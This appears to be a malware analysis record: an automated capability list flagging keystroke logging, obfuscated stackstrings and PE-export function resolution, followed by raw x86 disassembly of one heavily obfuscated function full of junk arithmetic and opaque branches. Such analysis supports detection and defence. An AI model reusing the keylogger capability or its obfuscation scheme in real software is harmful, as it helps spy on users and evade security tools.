Function at 0x41bea7
Capabilities:
Contain obfuscated stackstrings
Log keystrokes
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa80
push esi
mov dword [ebp - 0x984], 0xffffffff
mov dword [ebp - 0x8e0], 1
mov dword [ebp - 0x82c], 1
push 2
lea ecx, [ebp - 0x90c]
call fcn.004013fc
mov dword [ebp - 0x310], 8
mov dword [ebp - 0x854], 0xffffffff
mov dword [ebp - 0x19c], 0
jmp 0x41bf09
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 2
jge 0x41bf2b
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x90c]
call fcn.004014ea
mov dword [eax], 0xd5816210
jmp 0x41befc
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
lea ecx, [ebp - 0x90c]
call fcn.004014ce
cmp dword [ebp + 0x10], 0
jbe 0x41c1b1
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x41c1b1
mov dword [ebp - 0xc8], 0xdf99ff60
mov dword [ebp - 0x85c], 0x6507e673
mov dword [ebp - 0x864], 0xeb200688
push 2
lea ecx, [ebp - 0x7dc]
call fcn.004013fc
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x1c4], 0
jmp 0x41bfb1
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x41bfd0
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x7dc]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41bfa4
mov dword [ebp - 0xc8], 0
jmp 0x41bfe9
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x17
jl 0x41c192
mov dword [ebp - 0x6a0], 0xcf1813f1
mov dword [ebp - 0x5cc], 0xfffffff6
mov dword [ebp - 0x86c], 2
push 3
lea ecx, [ebp - 0x7e8]
call fcn.004013fc
mov dword [ebp - 0x118], 0
jmp 0x41c03a
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 3
jge 0x41c059
push dword [ebp - 0x118]
lea ecx, [ebp - 0x7e8]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x41c02d
cmp dword [ebp - 0xc8], 0
jne 0x41c070
xor eax, eax
inc eax
jne 0x41c070
and dword [ebp - 0x604], 0
jmp 0x41c07a
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 6
ja 0x41c09c
mov dword [ebp - 0x638], 1
jmp 0x41c0a3
and dword [ebp - 0x638], 0
xor eax, eax
inc eax
je 0x41c0bd
cmp dword [ebp - 0xc8], 0
je 0x41c0bd
mov dword [ebp - 0x698], 1
jmp 0x41c0c4
and dword [ebp - 0x698], 0
xor eax, eax
inc eax
cmp eax, 0x3e01
jb 0x41c0da
mov dword [ebp - 0x5b0], 1
jmp 0x41c0e1
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x5b0]
sub eax, dword [ebp - 0x5cc]
cmp eax, dword [ebp - 0x5cc]
jne 0x41c101
mov dword [ebp - 0x5d4], 1
jmp 0x41c108
and dword [ebp - 0x5d4], 0
imul esi, dword [ebp - 0x5d4], 5
push 0
lea ecx, [ebp - 0x7dc]
call fcn.004014ea
cmp esi, dword [eax]
jle 0x41c12c
mov dword [ebp - 0x5dc], 1
jmp 0x41c133
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x6a0]
sub eax, dword [ebp - 0x28c]
sub eax, dword [ebp - 0x5dc]
cmp dword [ebp - 0x604], eax
jle 0x41c166
mov dword [ebp - 0x608], 1
jmp 0x41c16d
and dword [ebp - 0x608], 0
push 0
lea ecx, [ebp - 0x7e8]
call fcn.004014ea
mov ecx, dword [ebp - 0x608]
mov dword [eax], ecx
lea ecx, [ebp - 0x7e8]
call fcn.004014ce
jmp 0x41bfdc
lea ecx, [ebp - 0x7dc]
call fcn.004014ce
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00415c7c
pop ecx
pop ecx
jmp 0x420a63
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x2dc], 1
mov dword [ebp - 0x6c0], 0xffffffff
mov dword [ebp - 0x1a4], 0
jmp 0x41c1f9
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x41c215
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0xec], 0xf7d65121
jmp 0x41c1ec
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xec], 0
xor eax, eax
jne 0x41c262
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov dword [ebp - 0x2e4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp + eax - 0xec], ecx
cmp dword [ebp - 0x2e4], 0
jne 0x41c262
and dword [ebp - 0x6a8], 0
jmp 0x41c26c
mov dword [ebp - 0x6a8], 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x34], eax
jne 0x41c28c
mov dword [ebp - 0x6b0], 1
jmp 0x41c293
and dword [ebp - 0x6b0], 0
cmp dword [ebp - 0xd0], 0
je 0x41c2ae
cmp dword [ebp - 0x34], 0
je 0x41c2ae
mov dword [ebp - 0x6b8], 1
jmp 0x41c2b5
and dword [ebp - 0x6b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x34], 0x373ee763
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0xd0]
test eax, eax
jne 0x41c3c5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0xd0], eax
jne 0x41c30b
mov dword [ebp - 0x580], 1
jmp 0x41c312
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x580], eax
jl 0x41c32c
mov dword [ebp - 0x2c4], 1
jmp 0x41c333
and dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x588], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x588]
mov dword [ebp + eax - 0xec], ecx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x588], eax
je 0x41c36a
mov dword [ebp - 0x2cc], 1
jmp 0x41c371
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0x2cc]
jne 0x41c39d
mov eax, 0x1636
test eax, eax
je 0x41c39d
cmp dword [ebp - 0x598], 0
je 0x41c39d
mov dword [ebp - 0x590], 1
jmp 0x41c3a4
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x41c3c5
cmp dword [ebp - 0x34], 0
jne 0x41c3c5
mov dword [ebp - 0x2d4], 1
jmp 0x41c3cc
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
sub eax, 0xffff
neg eax
imul eax, dword [ebp - 0x598]
mov dword [ebp - 0x2dc], eax
mov eax, dword [ebp - 0x2dc]
add eax, 0xa77d
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0xe0], 0xffffffff
mov dword [ebp - 0x6c8], 0xcd3860a4
mov dword [ebp - 0xe0], 0
jmp 0x41c424
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffed
je 0x41c567
mov dword [ebp - 0x120], 0x1c29000d
mov dword [ebp - 0x5a0], 0x8b6b0e1b
mov dword [ebp - 0x120], 0x10
jmp 0x41c45e
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffe5
jg 0x41c562
push 3
lea ecx, [ebp - 0x628]
call fcn.004013fc
mov dword [ebp - 0x1bc], 0
jmp 0x41c491
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jge 0x41c4b3
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x628]
call fcn.004014ea
mov dword [eax], 0x33c
jmp 0x41c484
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x5a0], 1
mov esi, 0xdc2a82a1
sub esi, dword [ebp - 0x5a0]
push 2
lea ecx, [ebp - 0x628]
call fcn.004014ea
add esi, dword [eax]
sub esi, dword [ebp - 0xe0]
push 2
lea ecx, [ebp - 0x628]
call fcn.004014ea
cmp esi, dword [eax]
jne 0x41c506
mov dword [ebp - 0x5a8], 1
jmp 0x41c50d
and dword [ebp - 0x5a8], 0
push 1
lea ecx, [ebp - 0x628]
call fcn.004014ea
mov esi, dword [ebp - 0x5a8]
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0x628]
call fcn.004014ea
cmp esi, dword [eax]
jne 0x41c53f
mov dword [ebp - 0x5a4], 1
jmp 0x41c546
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x6c8], eax
lea ecx, [ebp - 0x628]
call fcn.004014ce
jmp 0x41c451
jmp 0x41c417
cmp dword [ebp + 0x10], 0
jne 0x41fad4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0xb0cadfb1
push 4
lea ecx, [ebp - 0x6f0]
call fcn.004013fc
mov dword [ebp - 0x644], 0x8a907459
mov dword [ebp - 0x128], 0
jmp 0x41c5af
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 4
jge 0x41c5d1
push dword [ebp - 0x128]
lea ecx, [ebp - 0x6f0]
call fcn.004014ea
mov dword [eax], 0x66b3e629
jmp 0x41c5a2
cmp dword [ebp - 0x1c], 0
je 0x41ca4d
mov dword [ebp - 0x40], 0x61a6b719
mov dword [ebp - 0x1c], 0xffffffe7
jmp 0x41c5f2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff6
jge 0x41ca48
push 1
lea ecx, [ebp - 0x1f4]
call fcn.004013fc
mov dword [ebp - 0x544], 0xb0a6d081
mov dword [ebp - 0x6e0], 0x7bf5cbf7
mov dword [ebp - 0x77c], 4
mov dword [ebp - 0x690], 1
mov dword [ebp - 0x1ac], 0
jmp 0x41c64a
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x41c66c
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov dword [eax], 0xfff7
jmp 0x41c63d
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x1c]
add ecx, 0x4952f341
cmp dword [eax], ecx
jg 0x41c692
mov dword [ebp - 0x47c], 1
jmp 0x41c699
and dword [ebp - 0x47c], 0
cmp dword [ebp - 0x1c], 0x45bbbdeb
jne 0x41c6ae
mov dword [ebp - 0x2ec], 1
jmp 0x41c6b5
and dword [ebp - 0x2ec], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [eax]
jne 0x41c6d8
mov dword [ebp - 0x6d0], 1
jmp 0x41c6df
and dword [ebp - 0x6d0], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x47c], eax
jne 0x41c703
mov dword [ebp - 0x2f4], 1
jmp 0x41c70a
and dword [ebp - 0x2f4], 0
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x544], eax
jl 0x41c72d
mov dword [ebp - 0x2fc], 1
jmp 0x41c734
and dword [ebp - 0x2fc], 0
cmp dword [ebp - 0x2fc], 0xde9b
jl 0x41c74c
mov dword [ebp - 0x484], 1
jmp 0x41c753
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x41c766
cmp dword [ebp - 0x1c], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
cmp dword [eax], 0xc65b0b56
je 0x41c787
mov dword [ebp - 0x6d8], 1
jmp 0x41c78e
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x40]
add eax, 0xf0ad
cmp eax, dword [ebp - 0x1c]
mov dword [ebp - 0x6e0], 0
mov dword [ebp - 0x38], 0
jmp 0x41c7bc
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x41ca38
mov dword [ebp - 0x48c], 0xfffffffe
cmp dword [ebp - 0x40], 0
je 0x41c932
cmp dword [ebp - 0x1c], 1
jbe 0x41c7ec
mov dword [ebp - 0x304], 1
jmp 0x41c7f3
and dword [ebp - 0x304], 0
cmp dword [ebp - 0x304], 0x6bc59458
jge 0x41c80b
mov dword [ebp - 0x5d8], 1
jmp 0x41c812
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x5d8], eax
jg 0x41c829
mov dword [ebp - 0x30c], 1
jmp 0x41c830
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x30c]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x48c], eax
jl 0x41c856
mov dword [ebp - 0x314], 1
jmp 0x41c85d
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0xd208dd2d
jb 0x41c875
mov dword [ebp - 0x54c], 1
jmp 0x41c87c
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 0
je 0x41c891
mov dword [ebp - 0x31c], 1
jmp 0x41c898
and dword [ebp - 0x31c], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x31c]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x40]
jne 0x41c8be
mov dword [ebp - 0x494], 1
jmp 0x41c8c5
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0xffff
jb 0x41c8dd
mov dword [ebp - 0x324], 1
jmp 0x41c8e4
and dword [ebp - 0x324], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x324]
cmp ecx, dword [eax]
jle 0x41c908
mov dword [ebp - 0x5ac], 1
jmp 0x41c90f
and dword [ebp - 0x5ac], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov ecx, dword [ebp - 0x5ac]
cmp ecx, dword [eax]
jg 0x41c932
mov dword [ebp - 0x32c], 1
jmp 0x41c939
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x32c], eax
jle 0x41c950
mov dword [ebp - 0x780], 1
jmp 0x41c957
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x89c], eax
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
cmp dword [ebp - 0x38], 1
jbe 0x41c97f
mov dword [ebp - 0x74c], 1
jmp 0x41c986
and dword [ebp - 0x74c], 0
push 0
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov eax, 0xfff7
test eax, eax
jne 0x41c9ac
push 6
pop eax
test eax, eax
jne 0x41c9ac
and dword [ebp - 0x49c], 0
jmp 0x41c9b6
mov dword [ebp - 0x49c], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1f4]
call fcn.004014ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x49c]
jg 0x41c9e0
cmp dword [ebp - 0x77c], 0
jne 0x41c9e0
and dword [ebp - 0x334], 0
jmp 0x41c9ea
mov dword [ebp - 0x334], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x334], eax
jle 0x41ca01
mov dword [ebp - 0x554], 1
jmp 0x41ca08
and dword [ebp - 0x554], 0
cmp dword [ebp - 0x554], 0x19afca6f
jge 0x41ca20
mov dword [ebp - 0x33c], 1
jmp 0x41ca27
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x690], eax
jmp 0x41c7b5
lea ecx, [ebp - 0x1f4]
call fcn.004014ce
jmp 0x41c5eb
jmp 0x41cbd8
mov dword [ebp - 0x7c], 0x8726abe9
mov dword [ebp - 0x55c], 0xfffffffa
mov dword [ebp - 0x4ac], 0x4b502d48
mov dword [ebp - 0x64c], 0x69acb3b3
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x7c], 0
je 0x41ca93
cmp dword [ebp - 0x1c], 0
je 0x41ca93
mov dword [ebp - 0x4a4], 1
jmp 0x41ca9a
and dword [ebp - 0x4a4], 0
imul eax, dword [ebp - 0x4a4], 0xde90
test eax, eax
jne 0x41caae
cmp dword [ebp - 0x7c], 0
je 0x41cac0
cmp dword [ebp - 0x7c], 0
je 0x41cac0
mov dword [ebp - 0x344], 1
jmp 0x41cac7
and dword [ebp - 0x344], 0
mov esi, dword [ebp - 0x7c]
add esi, dword [ebp - 0x344]
push 3
lea ecx, [ebp - 0x6f0]
call fcn.004014ea
cmp esi, dword [eax]
jl 0x41caed
mov dword [ebp - 0x5b8], 1
jmp 0x41caf4
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x5b8]
jle 0x41cb0b
mov dword [ebp - 0x34c], 1
jmp 0x41cb12
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x8b4], eax
mov eax, 0xeb76
test eax, eax
jne 0x41cb51
mov eax, 0x8a20
test eax, eax
jne 0x41cb51
and dword [ebp - 0x354], 0
jmp 0x41cb5b
mov dword [ebp - 0x354], 1
mov eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x354]
jne 0x41cb78
mov eax, 0xd66f
test eax, eax
jne 0x41cb78
and dword [ebp - 0x6e4], 0
jmp 0x41cb82
mov dword [ebp - 0x6e4], 1
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x8bc], eax
push 3
lea ecx, [ebp - 0x6f0]
call fcn.004014ea
mov esi, eax
push 1
lea ecx, [ebp - 0x6f0]
call fcn.004014ea
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x41cbc5
mov dword [ebp - 0x35c], 1
jmp 0x41cbcc
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x64c], eax
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x41cc06
push 0x1e6
push 0x6d8
push 0x90c
push 0x2576
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
lea ecx, [ebp - 0x6f0]
call fcn.004014ce
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.00401bd6
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0xd8], 0x8b13eca4
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd8], 0
jmp 0x41cc51
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 5
jg 0x41cc8e
mov dword [ebp - 0x764], 0x942a1e94
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x41cc81
push 0xb23
call dword [sym.imp.KERNEL32.dll_TlsFree]
cmp dword [ebp - 0x764], 0
je 0x41cc8c
jmp 0x41cc8e
jmp 0x41cc44
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x1cc], 8
mov dword [ebp - 0x654], 1
mov dword [ebp - 0x4bc], 0x2a41b870
mov dword [ebp - 0x374], 0x87778e10
mov dword [ebp - 0x748], 0x540f213e
mov dword [ebp - 0x130], 0
jmp 0x41cce3
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 2
jge 0x41ccff
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x88], 0xfffe
jmp 0x41ccd6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x88], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
je 0x41cd3a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
jne 0x41cd4c
mov eax, 0x40a16501
test eax, eax
jne 0x41cd4c
and dword [ebp - 0x4b4], 0
jmp 0x41cd56
mov dword [ebp - 0x4b4], 1
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x654], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x8c4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8cc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8d4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8dc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x1cc]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x88]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x88]
jne 0x41ce00
mov dword [ebp - 0x6f4], 1
jmp 0x41ce07
and dword [ebp - 0x6f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8ec], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x294], eax
jge 0x41ce3b
mov dword [ebp - 0x364], 1
jmp 0x41ce42
and dword [ebp - 0x364], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x364], eax
jle 0x41ce63
mov dword [ebp - 0x5b4], 1
jmp 0x41ce6a
and dword [ebp - 0x5b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x5b4], eax
jg 0x41ce8b
mov dword [ebp - 0x36c], 1
jmp 0x41ce92
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
jne 0x41cec5
mov eax, 0xbdf78b15
test eax, eax
jne 0x41cec5
and dword [ebp - 0x65c], 0
jmp 0x41cecf
mov dword [ebp - 0x65c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8f4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x8fc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x748], eax
cmp dword [0xa779e4], 0
jne 0x41fa56
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x17c], 6
mov dword [ebp - 0x2ac], 0x534a2c93
mov dword [ebp - 0x4cc], 5
mov dword [ebp - 0x66c], 0
mov dword [ebp - 0x2c], 0xffffffee
jmp 0x41cf54
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xb
jg 0x41d118
mov dword [ebp - 0x29c], 0
push 4
lea ecx, [ebp - 0x78c]
call fcn.004013fc
mov dword [ebp - 0x5bc], 0xadd63529
mov dword [ebp - 0x2a4], 0x649bc00e
mov dword [ebp - 0x138], 0
jmp 0x41cfa2
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 4
jge 0x41cfc4
push dword [ebp - 0x138]
lea ecx, [ebp - 0x78c]
call fcn.004014ea
mov dword [eax], 1
jmp 0x41cf95
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x998], eax
imul eax, dword [ebp - 0x2c], 0x7473
test eax, eax
jb 0x41cfed
cmp dword [ebp - 0x2c], 0
je 0x41cfed
mov dword [ebp - 0x564], 1
jmp 0x41cff4
and dword [ebp - 0x564], 0
cmp dword [ebp - 0x564], 0xed89
jl 0x41d00c
mov dword [ebp - 0x37c], 1
jmp 0x41d013
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x37c], eax
jl 0x41d02a
mov dword [ebp - 0x664], 1
jmp 0x41d031
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x29c], 0
je 0x41d04d
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x41d04d
mov dword [ebp - 0x4c4], 1
jmp 0x41d054
and dword [ebp - 0x4c4], 0
push 0
lea ecx, [ebp - 0x78c]
call fcn.004014ea
mov ecx, dword [ebp - 0x4c4]
cmp ecx, dword [eax]
jle 0x41d077
mov dword [ebp - 0x384], 1
jmp 0x41d07e
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x5bc], eax
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x5bc], eax
jle 0x41d0a4
mov dword [ebp - 0x38c], 1
jmp 0x41d0ab
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
sub eax, 0xfbb9
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xfbd10caa
je 0x41d0e0
mov dword [ebp - 0x704], 1
jmp 0x41d0e7
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x2ac], eax
push 0
lea ecx, [ebp - 0x78c]
call fcn.004014ea
mov eax, dword [eax]
mov dword [ebp - 0x2a4], eax
lea ecx, [ebp - 0x78c]
call fcn.004014ce
jmp 0x41cf4d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x4cc], eax
jne 0x41d13b
mov dword [ebp - 0x56c], 1
jmp 0x41d142
and dword [ebp - 0x56c], 0
xor eax, eax
jne 0x41d15e
cmp dword [ebp - 0x4cc], 0
jne 0x41d15e
cmp dword [ebp - 0x2c], 0
jne 0x41d15e
and dword [ebp - 0x394], 0
jmp 0x41d168
mov dword [ebp - 0x394], 1
mov eax, dword [ebp - 0x394]
add eax, 0x5bf784cd
jne 0x41d187
mov eax, 0xc28
test eax, eax
jne 0x41d187
and dword [ebp - 0x39c], 0
jmp 0x41d191
mov dword [ebp - 0x39c], 1
mov eax, dword [ebp - 0x56c]
cmp eax, dword [ebp - 0x39c]
jne 0x41d1ab
mov dword [ebp - 0x4d4], 1
jmp 0x41d1b2
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x4d4], eax
jl 0x41d1c4
cmp dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x750], 0xed4
lea eax, [ebp - 0x750]
push eax
call fcn.00415c50
pop ecx
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x9a0], 0xf112
mov dword [ebp - 0x9a8], 7
mov dword [ebp - 0x9b0], 8
mov dword [ebp - 0x9b8], 0
mov dword [ebp - 0x9a4], 0x4fddd3f4
mov dword [ebp - 0x830], 0x12491e29
mov dword [ebp - 0x84c], 0x9c9fb37b
mov dword [ebp - 0x970], 0
mov dword [ebp - 0x83c], 8
push 1
lea ecx, [ebp - 0x91c]
call fcn.004013fc
mov dword [ebp - 0x8e8], 0x2d71
mov dword [ebp - 0x848], 0x85b6478c
mov dword [ebp - 0x3a4], 0x6c0b333e
mov dword [ebp - 0x140], 0
jmp 0x41d288
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 1
jge 0x41d2aa
push dword [ebp - 0x140]
lea ecx, [ebp - 0x91c]
call fcn.004014ea
mov dword [eax], 4
jmp 0x41d27b
mov eax, dword [ebp - 0x3a4]
dec eax
mov dword [ebp - 0x3a4], eax
lea ecx, [ebp - 0x91c]
call fcn.004014ce
mov dword [ebp - 0x180], 0x76820624
